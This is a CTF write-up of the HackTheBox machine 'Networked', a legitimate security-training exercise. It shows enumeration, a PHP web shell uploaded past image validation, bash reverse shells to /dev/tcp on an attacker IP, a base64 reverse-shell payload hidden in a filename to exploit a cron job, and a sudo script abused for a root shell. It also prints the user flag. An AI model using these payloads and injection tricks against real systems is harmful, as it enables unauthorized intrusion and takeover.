> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md). # Networked HackTheBox Writeup Networked HackTheBox Linux writeup covering web enumeration, upload bypass, command injection, and sudo escalation. {% embed url="" %} {% hint style="warning" %} **Skills:** * Web enumeration and source-code review * File-upload validation bypass * Cron job command injection * Sudo misconfiguration abuse {% endhint %} ## Reconnaissance ### Workspace setup Create a workspace, then verify connectivity to the target. ```bash mkt ping -c 1 10.129.5.171 ``` The response confirms that the target is a Linux host.

### TCP scan Identify exposed TCP services with a full port scan. ```bash sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts ``` The scan identifies ports `22` and `80`.

### Service and version scan Identify the services and versions running on the exposed ports. ```bash nmap -sCV -p22,80 10.129.5.171 -oN targeted ``` The host runs Apache `2.4.6` on CentOS with PHP `5.4.16`.

### Port 80 The website displays the following message: > Hello mate, we're building the new FaceMash!\ > Help by funding us and be the new Tyler\&Cameron!\ > Join us at the pool party this Sat to get a glimpse

Enumerate directories with Gobuster. ```bash gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` The scan reveals `/backup` and `/uploads`.

The `/backup` directory exposes a TAR archive.

Extract the archive locally. ```bash tar xopf foo.tar ``` The archive contains four PHP files: * `index.php` * lib.php * photos.php * upload.php The `upload.php` page provides an upload form.

A direct PHP upload fails because the application validates the image format. ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` The application rejects the file as an invalid image.

Upload a file with a GIF header and a `.php.gif` extension. ```bash Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif" Content-Type: application/x-php GIF89a " . shell_exec($_GET['cmd']) . ""; ?> ``` The application accepts the upload.

The uploaded file executes PHP code despite its GIF extension. ```bash http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id ```

Start a listener on port `443`. ```bash sudo nc -nvlp 443 ``` Use the command execution to return a reverse shell. ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ```

### Pivot to `guly` A scheduled task runs `/home/guly/check_attack.php` every three minutes. ```bash */3 * * * * php /home/guly/check_attack.php ``` The script reviews files in `/var/www/html/uploads/`. ```php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?> ``` The script passes each filename to a shell command without safely handling it. Inject a command through a crafted filename. Encode a reverse shell payload. ```bash echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64 ``` The encoded payload is: ``` YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo= ``` Create the malicious filename. ```bash touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;" ``` Start a listener on port `4444`, then wait for the scheduled task. ```bash nc -nvlp 4444 ```

The scheduled task returns a shell as `guly`.

### Flag user.txt ``` fbeee367bab941cefca951caef664f27 ```

### Privilege escalation Check the commands that `guly` can run with `sudo`. ```bash sudo -l ``` The user can run `/usr/local/sbin/changename.sh` as `root`.

The script writes user-controlled values to a network configuration file. ```bash #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 ``` The input filter permits spaces and slashes. When `ifup` processes the generated configuration, `test /bin/sh` triggers a shell. Run the script. ```bash sudo /usr/local/sbin/changename.sh ``` At any prompt, enter: ``` test /bin/sh ``` This opens a shell as `root`.

### Flag root.txt

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